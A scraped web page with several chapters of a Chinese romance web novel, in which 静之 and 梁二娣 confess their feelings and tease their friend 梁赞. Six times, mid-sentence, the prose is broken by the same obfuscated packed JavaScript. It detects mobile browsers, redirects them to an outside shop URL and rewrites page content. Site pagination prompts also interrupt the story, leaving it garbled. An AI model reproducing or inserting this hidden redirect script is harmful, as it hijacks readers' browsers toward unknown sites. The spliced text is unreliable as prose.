刚想推着车去寻他时,渐渐拥挤的街道口突然出现了一道熟悉的身影。 “二娣!这里!” 她大松一口气,举高了手不断朝他招着。 二娣看到她眉眼一柔,视线转移到她旁边的推车时,眼里又闪过惊讶和一丝歉意。 都怪他……竟是又让她操劳了。 于是他快步走了过去。 刚一站定,把手上买的东西放在推车上,嘴边就被抵上一个还温热着的馒头。 “你……” 她把馒头又往他嘴边递了递,眼里看着他因半天没吃饭就泛白的唇瓣,不禁一阵心疼: “你快吃,你从早上到现在都没吃饭呢,小心饿坏肚子。” 他没吃呢,反而把怀里紧紧抱着的盒子往她怀里一塞,轻声说着,脸色微红:“给你。” 静之抱着沉甸甸的黑漆木盒子一脸懵逼:“这什么。” 她把馒头递到他手上,然后打开盖子一看,余光刚瞄一眼,她瞬间又“啪”的一声盖得紧紧的。 然后四处张望着,见没人看她,她才把盒子放在推车上的菜篮子里,还顺便把青菜往上面拢了拢。 等一切都做完了,她才凑近他的耳边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086498|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用气声问:“你哪儿来的这么多钱?” 他红着一耳,轻轻说着:“我刚刚去钱庄取的。” 她皱眉,又问:“你小金库不是被烧了吗?” 他别过头,也不回答,揪起一块馒头慢慢吃着,边嚼边往前走:“走吧。” 静之朝他的后脑勺翻了个白眼,这才轻轻执起斜着的两根把手,推着一车的东西往前走。 好在她不是人,不然这满满一车东西她还真是推不动。 两人边走着,静之实在忍不住好奇心,转头又又问了一次:“你哪来……唔。” 二娣抽回刚刚感受到一阵温热的食指,停下脚步愣愣地看着上面的晶莹,然后越凑越近,越凑越近—— 静之迅速吞下嘴里的馒头,涨红了脸怒斥:“梁二娣,你敢嗦一口试试?!” 二娣曲了曲食指,眉目含情地盯着她,然后靠到唇边,轻轻一啄: “我没嗦。” 静之觉得耳朵烫得都快冒出蒸汽了,她恶狠狠瞪了他一眼,猛的一跺脚,头也不回,把车推得嘎吱嘎吱响,车上的东西互相碰撞着,发出一阵叮铃哐当的响声,好在都被绳子捆着,硬是没有东西掉出去。 远远的,还听她突然喊了一句: “还不是一样?!!不等你了!” 二娣看了看手指,又看了看气呼呼远 去的白色背影,他慌了,于是—— “小之,嗬……等等我……我跟不上你……咳咳,小之!” “别想骗我!你肯定又是装的!” 话虽这样说的,但她不敢赌。 万一是真的呢? 这荒郊野外的,可没人给他收尸。 于是她推车的速度渐渐慢了下来。 但是不管快慢,她总比二娣快上那么几步,两人一前一后,就这么追逐着,回到了家里。 “梁赞,出来搬东西!” 第44章 被二娣整-1 梁赞正在厨房里忙活着,听到外面有动静,便好奇地从厨房门口探出头来张望。 这一看可不得了。 只见一辆装满货物的车停在了院子里,车上的东西琳琅满目。 他满脸惊讶,不禁脱口而出: “哇,你居然买了这么多东西啊?!” 这时,一只戴着洁白如雪手套的手出现在他眼前,手中捏着一个油纸袋,缓缓地向他递过来。 梁赞凑近用鼻子使劲嗅了嗅,随即露出满足的笑容,嘿嘿笑道: “哎呀,你们竟然还想着帮我带吃的东西啊。” 静之一把将油纸袋塞进梁赞手里,转身就开始动手解开捆绑货物的绳子,并有条不紊地收拾起来。她一边忙碌着,一边说道: “我们昨天才刚来到这个地方,这儿什么都缺,连根青菜都找不到。想来你肯定已经饿了一整天了,快吃吧。” 说着,她又下意识地抽动了一下鼻尖,突然间眉头紧皱,神色紧张地喊道: “不好,什么东西烧焦了?” 梁赞一听这话,三口并作两口迅速吞下手中的包子,然后像一阵风似的朝着灶台狂奔而去,嘴里还不停地大喊着: “啊啊啊,我煨了整整一天的鸡汤啊!!!” 静之:啧。 …… 等他把鸡汤解救出来,静之早就收拾好东西坐到桌前了。 梁赞狗腿的盛了一碗鸡汤,递到二娣面前: “娣哥,你喝。” 二娣默默看了一眼冷着脸的静之,也动手给她盛了一碗。 “小之,累一天了,你也喝。” 静之闭了闭眼,终是长长出了一口气,她满脸复杂地看着二娣。 这人…真的决定好,要跟她在一起了吗? “……怎么这般看着我?” 二娣摸了摸脸,又顺手把手往桌下一搁,暗戳戳的去够她身侧的手。 “啪!” 梁赞盛汤的动作一顿,狐疑地看着旁边的两人,又默默用“你怎么这么不争气”的眼神,看了二娣一眼。 都这么久了,他娣哥是一点进展都没有啊,看来,他还得找个时间给他支两招。 二娣捂着发烫的手背,委委屈屈盯着静之看。 见她不为所动,他干脆瞪了对面正朝他挤眉弄眼的梁赞一眼。 什么破招数,越来越不好使了。 梁赞嘿嘿一笑: “吃,都吃。” 一天了,他硬是没摸到一次静之的手,二娣有些泄气,他搅动着滚烫的鸡汤,吹了吹,刚想喝一口,手中的碗突然就被夺走。 “小之……” 她真的生气了吗? 竟是连鸡汤都不给他喝了?! 正当他这样想的时候,静之冷着脸,边把他碗里鸡汤上面浮着的厚厚一层鸡油撇去,边淡淡的解释: “奀妹养的鸡好,但是油大,他身体未好,须仔细些。” 梁赞:嚼嚼嚼,嚼嚼嚼,吸溜一口汤顺一顺。 她啧了一声,猛踢了对面正埋头苦吃的梁赞一脚,没好气的说: “听到了吗?跟你说话呢,以后也会有我注意不到的时候,你细节方面抓一抓嘛,他本就体虚,再拉肚子怎么行?!” 梁赞满不在意扬了扬筷子说:“知道啦。” 二娣一脸感动:“小之……” 于是—— “啪。” 静之又一巴掌挥落他从桌下伸过来的手,然后把不带一丝油花的鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086499|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤端到他面前,淡淡地说: “现在可以喝了。” 二娣压根儿没有理会那已经发红的手背,只是对着她露出一抹轻柔的笑容。 随后,他缓缓端起碗来,动作缓慢,且珍惜地小口小口地喝了起来。 坐在一旁的梁赞实在看不下去自家娣哥这般没出息的模样,他那双滴溜溜转个不停的眼珠子忽然一亮,计上心来。 只见他迅速伸出筷子,准确无误地夹住了一块肥硕的鸡屁股,嘴里还不忘冷哼一声: “看到这鸡屁股,就想起那胖子,想起那胖子,就想一口把他吞了,打我事小,侮辱娣哥事大,娣哥,把它吞了吧!” 话音未落,他便迫不及待地夹起那块鸡屁股,作势要往隔壁二娣的碗里送去。 就在那筷子即将抵达二娣碗中时,另一双筷子如同闪电一般突然出现,精准无比地将其拦截下来,并顺势一勾,直接送回到了梁赞自己的碗里。 与此同时,只听得“砰”的一声闷响,原来是静之狠狠地踹了梁赞一脚。 静之气鼓鼓地瞪着梁赞说: “刚刚我说的,你没听进去是不是,鸡肉我都不敢给他多夹,你还敢给他吃鸡屁股?!你自己慢慢享受吧!” 梁赞:嘿嘿,还是他的招数好啊,看静之这不就护上犊子了吗! 他调皮地耸了耸肩,脸上做出一副满不在乎的表情。 紧接着,他不慌不忙地将那块原本打算投喂给二娣的鸡屁股从碗里夹了出来,轻轻地放在一旁的骨碟之中。 最后,他随手将手中的筷子一撂,满脸遗憾地叹息道: “哎呀,想起他,我就什么胃口 都没有了!” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第45章 被二娣整-2 梁赞突然反应过来还有静之这个妹子在这儿,于是收回隐喻,尴尬一笑: “嘿嘿,我的意思是说,你的功夫比他好多了。” 门外的人也不知道是不是气炸了,竟不慎发出一声细微的动静。 静之跟二娣又听到了。 她刚想站起身子出去看看,二娣迅速扯着她的袖子让她坐下,又暗暗摇了摇头。 啧,有猫腻啊! 好,她倒要看看臭弟弟要搞什么鬼。 只见他嘴角一勾,朝梁赞勾了勾手指头,目光流转之间,竟有一丝花旦的魅惑神态,看得静之一时愣了神。 梁赞则乖乖附耳过去。 娣:“可是他有一样东西比我好。” 赞:“什么?” 二娣的眼里闪过一丝笑意,随即阖下眼皮掩住情绪说: “他的耳朵是顺风耳,隔着门都能听见我们在说什么。” 梁赞回到座位上,一脸狐疑的说: “真的那么灵?我不信!” 静之这回也反应过来了,外面那人……是隔壁的暴躁大叔吧? 说到耳朵,他耳朵是挺灵的,她作为灵猫,动作超级轻的,早上竟也被他发现了。 看来,梁赞这回要倒霉了! 她捧着脸笑眯眯地看着聊天的两人。 “你笑什么?” “没什么,我想到开心的事情嘛!” “……” 二娣见她笑,他也跟着笑,却突然又想起梁赞还没上勾,于是他轻咳一声,掩去笑意,一本正经的说: “你不信?出去看看。” “……好。” 眼瞅着梁赞站起身子去开门,静之紧咬下唇,缓缓捂住自己眼睛。 啊,暴力场面看多了会变暴躁的。 虽这样想着,她的手指却悄悄露出了一条缝。 “吱呀。” 门才刚刚开启了一条狭窄的缝隙,静之便听到了“砰”的一声巨响,只见梁赞像一只断了线的风筝一般,瞬间被击飞至桌前。 他的鼻子下方,两道鲜红的血迹正缓缓流淌而下。 此刻的梁赞满脸惊慌失措,声音颤抖地喊道: “啊~娣哥,他……他真的把我们说的话全都听见了!现在怎么办啊?” “噗呲。” 就在这时,原本强忍着笑意的静之终于忍不住笑出了声。 当发现梁赞投来疑惑的目光时,她连忙用手捂住自己那张因偷笑而“漏风”的嘴巴,同时佯装若无其事地四处张望着,嘴唇紧紧抿起,但一张俏丽的脸蛋儿却因为拼命忍住笑声而涨得通红。 坐在一旁的二娣则单手撑着腮,嘴角微微上扬,流露出一抹宠溺的笑容,静静地注视着静之。 看到她笑得如此开怀,心中不禁一动,既然能让她这般高兴,那么不妨再来一次。 心里默默地向梁赞说了句抱歉,谁叫你这傻小子这么容易上当呢。 随后,他再次面不改色地朝着梁赞提议道: “要不,你出去瞧瞧他是不是已经离开了?” 早已慌了神的梁赞此时根本无暇思考太多,竟然不假思索地听从了二娣的建议。 只不过,有了之前的教训,这次他再也不敢大大咧咧地站直身子走过去了,而是像只受惊的兔子一样,半蹲着身体,一点点地往门口挪动过去,然后极其小心谨慎地掀起了一点门扇。 由上往下看,这回静之倒是看得清清楚楚。 门外确实是隔壁的暴躁老汉。 他此刻犹如梁赞心里的蛔虫似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086500|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,也蹲着,气得吹胡子瞪眼的,捏起沙包大的拳头直把梁赞击飞在地。 “那个……华宝叔,进来坐坐?” 静之正对着门口,与王华宝面面相觑。 他看了一眼静之旁边的二娣,转头哼的一声,嘴巴翘得老高: “哼!谁要跟这个娘娘腔坐,俺要回去睡觉了!” 静之呐呐道: “……那您慢走。” 王华宝看了一眼起身相送的静之,暗暗点了点头。 他料想今天那银子也是这位姑娘丢进去的,还算是有礼有节。 算了,不与那个娘娘腔计较! 眼瞅着二娣师兄走了,静之大门一关,然后蹲下狂掐梁赞的人中: “梁赞,梁赞!你别死啊,被打两拳就晕过去,你是有多菜!!” 边说着,她还边抽着梁赞的脸。 抽了一会儿,只听得一声呻吟,梁赞眼皮子眨巴了几下,又晃了晃晕乎乎的脑袋,然后一脸委屈地转头看向二娣: “娣哥,你驴我?” 二娣挑了挑眉: “我都是建议,我有逼你吗?” 静之瞪了他一眼,又迅速走进他房里,拿出药酒递给梁赞: “你自己擦擦,我去给你煮俩鸡蛋。” “小之,我也饿。” 静之脚步一顿,回头瞪他一眼: “想啥呢,你不是刚吃饱吗,我煮俩鸡蛋让他自己滚滚淤青,好得快。” “……” 见静之出去了,梁赞好似被静之的行为暖了心,他擦着鼻血,站在门口,往厨房张望着。 突然,从后面飘来一句冷若冰霜的话: 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第46章 她说好 明月高悬于夜空中,如水般的清辉倾洒而下。 他的房间窗户朝院子里支出了一半,仿佛想要与这宁静的夜色融为一体。 静之静静地坐在炕上,一只手轻轻撑在炕中间摆放的小几上。 房间里没有点亮灯火,唯有那半截皎洁的月光透过窗框的下半截空间,悄然地洒落在屋内,使得她的下半张脸在这片光芒下清晰地显现出来。 只见她那原本带有一些肉肉的下巴,不知何时竟已变得越发尖细。 而那一点朱唇此刻正紧紧地抿着,似是在压抑着内心的某种情感。 然而,对于站在门口窥视的二娣来说,最吸引他目光的,却是她那隐没在黑暗中的紧蹙眉头。 他原本充满期待且紧张的心情,瞬间消失得无影无踪。 脑海中刚才梁赞所说的那些浑话,也被抛到了九霄云外。 此时,他心中唯一所想,便是想一点一点地抚平她眉间的这些褶皱。 心里这般想着,二娣的身体便不由自主地行动起来。 他缓缓走了过去,坐在小几的对面。 他凝视着眼前的佳人,正欲揉散她眉间那一抹淡淡的愁思时,伸出的手却突然停在空中。 原来,他被她制止了。 "小之,你——" 静之用一只手紧紧地抓住了他的手指,另一只手则轻轻地抵住了他的唇间。 此刻,她的眼中充满了复杂的情感,让他有些难以捉摸。 她微微闭上双眼,仿佛在努力平复内心的波澜,随后深深地吸了一口气。 当她再次睁开眼睛时,二娣惊讶地发现,她的脸上尽是他从未见过的认真。 "梁二娣......" 她刚唤一声,二娣的心便猛地咯噔了一下。 因为他深知,每当她如此称呼自己的时候,往往意味着她正处于极度愤怒或者伤心难过的情绪中。 究竟……发生了什么? 他张了张嘴,刚想开口询问,她却迅速转抵唇为捂嘴,并对他做了一个噤声的手势。 看到他安静下来不再说话,她这才重新将目光聚焦在他的眼睛上,继续说道: "我虽然不像这里其他的女子那样,过分看重男女之间的界限,但我也绝对不是那种会随意与男子亲亲热热、举止亲密的人。 今晚,我只希望能够听到你一句发自真心的话,你能不能……如实告诉我?" 二娣的心猛地一揪,与此同时,一股深深的懊悔如同潮水般涌上心头。 至于为什么会有这种感受。 因为就在这一刻,他清晰地看到了她隐藏在眼里的自我怀疑与不安,还有对他的不信任。 原来,他之前的所作所为,竟已在她心里划下如此深刻的伤痕了吗? 此时,他也突然间洞悉了她内心最想要问出口的那个问题。 小之,你主动了这么久。 现在……该我了。 静之见他久久未曾言语,眼里的期待渐渐消散开来,她的两手缓缓放开他的手和他的唇,正准备悄然收回。 就在这时,他迅速伸出双手紧紧地将她的手捧在掌心。 他就这样静静地凝视着她的双眼,似乎想要透过那层薄薄的眼波,传递给她一点信心。 紧接着,他微微低下头,隔着她手上那层薄如蝉翼的手套,如蜻蜓点水般,吻了一下她的指尖。 他的声音低沉,却又带着一种前所未有的温柔: “小之… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086501|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我喜欢你,我们……在一起吧?” 就这一瞬间,静之红了眼眶,两颗滚烫的泪水突然急剧滋生出来,快速地垂落脸颊。 终于……等到这一天了吗? 静之恍如梦中,尽管眼里充盈着泪水,视线渐渐模糊,她也不舍得眨一下眼,就怕眼前这人,满眼的情意突然又消失了。 二娣: 原来,真的如他所想。 只要他表现出一点点亲昵,或者是现在的喜欢之语,她眼里的恐慌之意就渐渐加重。 此时的二娣自责得想回到过去,把以前那个不知好歹的自己拖起来狠狠打一顿。 他捧着她愈发慌到冰凉的手又啄了一口,然后一手执起她的手抚到他脸上,另一手伸了过去,轻轻擦去她眼角的泪水: “别哭,我心疼得厉害……你不是做梦,我是真的。 我刚刚说的,也绝无虚言,这次真的不骗你。 我梁二娣喜欢你,喜欢你……好久好久了。 以前……一次次推开你,是我不知好歹,你能……再给我一次机会吗?” 静之恍如梦醒了一般,轻轻眨动了一下眼皮,两颗眼泪如同断了线的珠子一般,又啪嗒一声滴在榻间的几上。 她哭了,她却又突然笑了,笑得灿烂。 她说: “……好。” 这一回,轮到二娣呆住了。 他握着她手的手不自觉地加紧力道,随后,他将自己的五指慢慢地从她的手背滑入,轻轻插入她的指尖,紧紧地缠绕在一起。 "你,你答应了?!" 二娣激动得声音都有些颤抖,眼中满是难以置信和欣喜若狂。 本小章还未 完,请点击下一页继续阅读后面精彩内容! 第47章 我给你拿来了 静之觉得有些莫名其妙,看就看呗,还羞上了? 难道……里面装着不可告人的东西?! 猫咪的好奇心一上来,连带着她开锁的动作都迅速了不少。 只听得轻微的咔嚓一声响,那个精致的配套小锁弹开了,静之轻轻拿下它,然后把盒子捧到自己膝盖上,深呼吸了一口气,这才慢慢的打开。 首先映入眼帘的,是一根通透的玉簪,簪身笔直,簪尾却雕着一朵精致的睡莲,她拿起对着窗外的月光细看,整根簪子浑然一体,可见雕刻之人技艺之高超。 静之的第一反应就是,这东西…应该很贵吧? “这给我的?” 二娣清楚地知道送簪子的含义,这也是他第一次送心上人礼物。 也不知道……她到底喜不喜欢? 他又怕她看到簪子,会想起之前那根断簪。 这又是期待,又是害怕的心情,让他的手指不自觉地越绞越紧,微凉的手心甚至都泛起了一层湿意,眼角余光却又不着痕迹地打量她脸上的表情。 见她眼里带着几分欣赏跟喜欢,他这才暗暗松了口气说: “嗯,送给你。” 话音刚落,簪子就怼到他面前。 “干……干什么?” 难道她不要吗? 二娣的视线刚想从眼前的簪子挪开,却又突然听闻她笑了一声: “笨蛋,还不快过来帮我戴上?” “可是你等会要睡觉了。” “……梁二娣!” 话音刚落,她手中的簪子瞬间就被抽走,身后又突然刮过一阵风,直把她手中黑匣子里的纸张吹拂了一地。 二娣刚伸出的手落了个空,他瞅着弯腰捡起地上那几张纸的静之,有些无语,又有些害怕。 那些东西,有些少,也不知道她会不会嫌弃? 静之拿起纸张,摊开在小几上细看,只一眼,她又震惊得脱口而出: “二娣,你抢银行……不是,抢钱庄啦?一,二,三,四,五……五百两!你到底哪儿来的这么多钱?” 刚想回头看他,头皮却被扯得一痛。 下一秒,两侧太阳穴被轻轻把着,调正角度,脑后同时传来他低沉的声音,声音里她莫名都听出了一股不自信: “这是我这些年攒的积蓄,有些少,比不过阿赞,跟那……倪飞。” 静之任他松开她发上的系带,给她重新挽发,却是又小弧度的摇了摇头说: “你觉得我喜欢你,是喜欢你的钱吗?” “……” 身后的人动作停了一瞬,挽发的动作都慢了下来。 其实,他也不知道为什么他能入她的眼,她这个问题,倒是真把他给问倒了。 见他不说话,静之深深叹了口气,视线却又被银票下面那张叠着的纸吸引。 她抽出纸张,轻轻展开一看,口中不由跟着纸张右侧那两个竖着的大字,轻声念道: “地契?哪里的,这里的?” 她突然有些感动: “二娣,你把这都给我了?!” 二娣突然脸上一红,有些不好意思地说: “这里不是什么好地段,你别嫌弃。” 这些银票跟地契,已经是他身上最能拿得出手的东西了。 突然,她淡淡地说: “挽好了吗?” “……好了。” 他有些惶恐,她的语气……好像不太对。 正当他跪坐在她身后,渐渐低下头的时候,肩膀突然被大力一推。 一阵天旋地转,她便双手撑在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086502|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳侧。 这个姿势完全挡住了窗外的月光,昏暗中,他却又能看到她亮晶晶,充满喜悦的双眼。 他那颗沉寂下去的心,突然又开始欢快地跳动起来。 “小之,你不嫌弃——” 静之手指抵着他柔软的唇瓣,轻轻摇了摇头,又有些霸道的说: “亲我。” 二娣瞳孔一缩,视线瞬间从她眼中移开,缓缓下落到她一点朱唇上。 他咽了口口水,一时之间,竟有些眼热,这个吻,本应早早就来的。 不过,现在也为时不晚。 他伸手轻抚着她的侧脸,指尖接触她脸部的皮肤时,突然觉得有些滚烫。 二娣愣了一下,突然轻笑出声。 这么霸道,原来……是为了掩饰她的害羞啊,她可真是…同他一样别扭。 “……再笑就没得亲!” 静之被他笑得恼羞成怒,手上一个用力,微微后仰身子就要离开。 刚离开一寸,后脖子就被握住往下压,微凉的唇瓣瞬间贴了上来。 “唔……闭眼。” “……我就要看。” “呵。” 过了好一会儿,轮到静之笑得眉眼弯弯,她挪开一点头,望着底下同样红着脸的二娣说: “堂堂一个大花旦,就只会贴贴跟蹭蹭吗?” 二娣眉心一拧。 “嘶——你又咬我!” …… 门外。 梁赞边用有些滚烫的鸡蛋揉着自己颧骨上的淤青,边把耳朵贴在墙上偷听。 他不禁有些乍舌。 不对啊,一开始都挺正常的,现在他怎么听到了拳脚碰撞的打架声。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第48章 极限拉扯 随着时间的推移,那弥漫在空中的厚重雾霾终于缓缓散去,金灿灿的阳光逐渐穿透云层,高高地挂在了天空上。 昨晚心情甚好,以至于一向勤奋刻苦的静之竟然也忍不住偷了个懒,整整一宿都没有修炼,而是美美地睡了一个好觉。 此刻,她紧闭着双眼,尚未完全清醒过来,但一声清脆嘹亮的鸡啼却不合时宜地从隔壁传了过来。 静之下意识地拱了拱自己的身子,像一只毛毛虫般在床上不停地滚来滚去。 她那娇小的身躯如同蛆虫一般扭动着,仿佛想要把所有的困意都甩掉。 就这样折腾了好一会儿之后,她才伸手拨开了头顶的被子。 只见她顶着一头略显凌乱、有些炸毛的长发,刚刚准备坐起身来。 就在这时,一道黑影猛地扑向了她,她只觉得嘴唇上传来了一丝凉意,紧接着便看到来人已经迅速地直起身子,并稳稳当当地坐在了床尾处。 静之的第一个反应便是扭过头去看向对面墙角的梁赞。 当发现他仍然睡得死死的,鼾声如雷,丝毫没有被这边的动静惊扰到时,她这才长长地舒了一口气。 可正当她想要回过头瞪一眼二娣时,脸颊边上又感受到了一股凉意。 “......你看我打不打你!!” 她恼羞成怒,气呼呼地抄起身后那个还残留着些许余温的柔软枕头,毫不犹豫地朝着二娣用力扔了过去。 然而,这只不过是缓兵之计,二娣的猴急以及吻技之烂,她昨晚已经见识到了。 枕头一丢出,她一个后滚翻从床头落地,趿拉了鞋子站起,也不管二娣作何表情,猛地拉开门扇,就冲了出去。 二娣缓缓收回朝她伸出去的手,又抚上自己的唇瓣,嘴角渐渐扬了起来。 他认命的将枕头放好,然后将那一床快被她拧成麻花的被子扽开以后,又抱在怀里走了出去。 一到门口,便不见她人影,左边却传来她的说话声。 他侧头一看。 啧,她怎么跑那儿去了?! 二娣本想唤她回来,却又眼尖的看到他师兄从屋里走了出来。 他暗哼一声,赶紧把静之的被子往竹竿上用力一甩,又速度铺平展开,彻彻底底围住他师兄看过来的视线。 …… 隔壁院子。 静之边咕噜咕噜转动着水井上的手柄,边朝正纽着扣子跨出门槛的房子主人问好: “华宝叔,早上好呀,我到您家井里打点水,我刚刚跟奀妹说过了。” 华宝看了一眼隔壁悄然关上的门,朝那边翻了个白眼,才又转头对静之笑笑说: “起这么早啊,没事,你用,就这点儿东西,俺可不是那小气的人。” 奀妹边喂鸡,边嘀嘀咕咕: “还说不小气,昨天早上还说只给师叔俩鸡蛋呢。” 华宝面上有些挂不住,他朝静之讪笑一下,又瞪了一眼奀妹说: “瞎说什么呢,把东西放下,从今天开始,爹要教你学武功。” 奀妹有些疑惑,却又暗含期待: “你之前不是说女孩子不用学武的吗?” 他撇了撇嘴,又指了指把手柄转到飞起的静之说: “你看看人家,动作利落,力气又大,学点武功对你有好处,更何况……” “更何况什么?” 他看了一眼正往她带过来的桶里倒水的静之,见她正忙活着,他这才悄悄凑近奀妹耳朵旁说:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086503|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “自从隔壁那小子来了以后,我们就丢了一只鸡,将来啊,说不定连你那只猪都给吃了!” 奀妹倒是没那么小心眼,她笑了一下,走几步到了猪圈外面,轻柔地摸了两把刚出生的小粉猪,又转头对她爹笑得一脸娇憨: “爹,你放心,我这只猪到时候会留给你劁的。” “胡说什么!你以为你爹俺是劁猪的啊!” “噗呲~嘿!” 二人纷纷转头看向静之,静之抿着嘴,小脸涨得通红,提起两桶满满的水说: “你们练你们练,我先回去忙了。” 说罢,她轻轻松松拎着两桶水跑得飞起,桶里的水不断晃出层层水波,却愣是没有洒出一点。 奀妹正羡慕得伸长了脖子看着,这时,华宝从后面轻轻拍了拍她的肩膀说: “看吧,练功对你有好处,过来!” “哦!” …… 静之刚一回院子,门就“吱呀”一声开了一扇。 她朝里看去,梁赞也已经起了,正坐在床上穿着衣服,还不时伸头出来张望。 他问:“隔壁在干什么?” 静之看着他似笑非笑: “还说呢,人家发现自己家的鸡丢了,他怕女儿也丢了,正教奀妹练功呢。” 梁赞脑子里只有功夫,一听见“练功”两个字,眼睛亮得如探照灯一般,站起身子就要往外冲。 下一瞬,他飞在身后的衣摆就被扯住了。 “诶,你昨天还没被打够啊,就这样过去?不给人家带点礼物赔赔罪吗?华宝叔可不是好说话的人啊。” 小主,这个章节后面还有哦,请点击下 一页继续阅读,后面更精彩! 第49章 不收他 被二娣这一闹,她觉得她都错失了许多精彩画面。 许是听到这边窸窸窣窣的声音,黄华宝不知是非要气一下二娣,还是梁赞的鸡毛掸子惹到他,这会儿他竟然开始教起了梁赞功夫。 不过他摆出的姿势怎么看怎么不雅观,甚至可以说有些辣眼睛。 也亏得梁赞人傻,硬是有样学样。 静之眼观对面,又拿手肘怼怼身后的二娣问: “娣,你们门派有这招吗?我怎么看怎么不对劲儿啊。” 他有些闷闷不乐,手指绕着静之的一缕头发,又放开,然后又绕,又放开,周而复始,嘴上还低声说着: “别叫我弟,我真的25了。” 他顿了一下,瞧一眼对面,翻了个白眼,又说: “哼,是他自创的大便招,真是为老不尊。” 静之撇撇嘴,扯下他指尖那缕被他绕到有些弯曲的银丝,抬了抬下巴说: “我叫的是二娣的娣,你叫我小之,我不得叫你娣啊,还有,我真的28了。” 她又指指对面,有些不忍心的说: “既然你知道梁赞被耍,就早些把他叫回来呗,人家照顾了你一路,昨天还给你煨鸡汤喝,没有功劳也有苦劳呀。” 她又轻轻煽动鼻翼,估摸了一下时间,说: “我看粥差不多好了,你叫他回来。” 二娣把脸藏在她的后背,索性回避她的话,又抠了抠她背部衣服上的花纹说: “你对他那么好干什么,你以前都没对我这么好过。” 静之仿佛鼻尖闻到一股酸味,又突然被他的话噎住,她放下手,偷摸伸到他腰间,轻轻一拧: “你也不看看你以前怎么对我的,不打你一顿,都算我心善。” “……” 二娣换了处花纹接着抠,心里有些愧疚,却知道她不爱听人道歉,于是也没回话,只是抠她衣服的动作更轻了,生怕惹她发怒。 静之又默默看了对面一会儿,眼瞅着梁赞半蹲下来,脸红脖子粗的,再不叫回来,她怕他就要当场拉那儿了。 于是她叹气,转回身子搂着二娣的腰,昂起头亲了一口愣住了的他,放软语气,糯糯的说: “你叫他回来嘛,你总不能看着他拉那儿吧,也丢你的脸。” 二娣嘴角要翘不翘,他眨眨眼,四周环顾了一下,见没人,才轻咳一声,傲娇扬起刀削般的下巴说: “……那倒也是。” 说罢,他抑制住想再跟静之贴贴的冲动,轻轻推开她,然后对着对面,清了清嗓子沉声喊道: “梁赞,回来!” 梁赞这才发觉他娣哥站在被子后头,他直起身子高声应了声哦,边朝这边小院奔来。 此时静之却在想着,二娣刚刚说话的声音,好像与跟她说话的声音有些不一样。 跟她说话时,软软的,柔柔的,特别是最近,越发如此。 他……夹了吧? 这么会夹,怎么不直接对她唱两句? 反正他唱的比说的都好听。 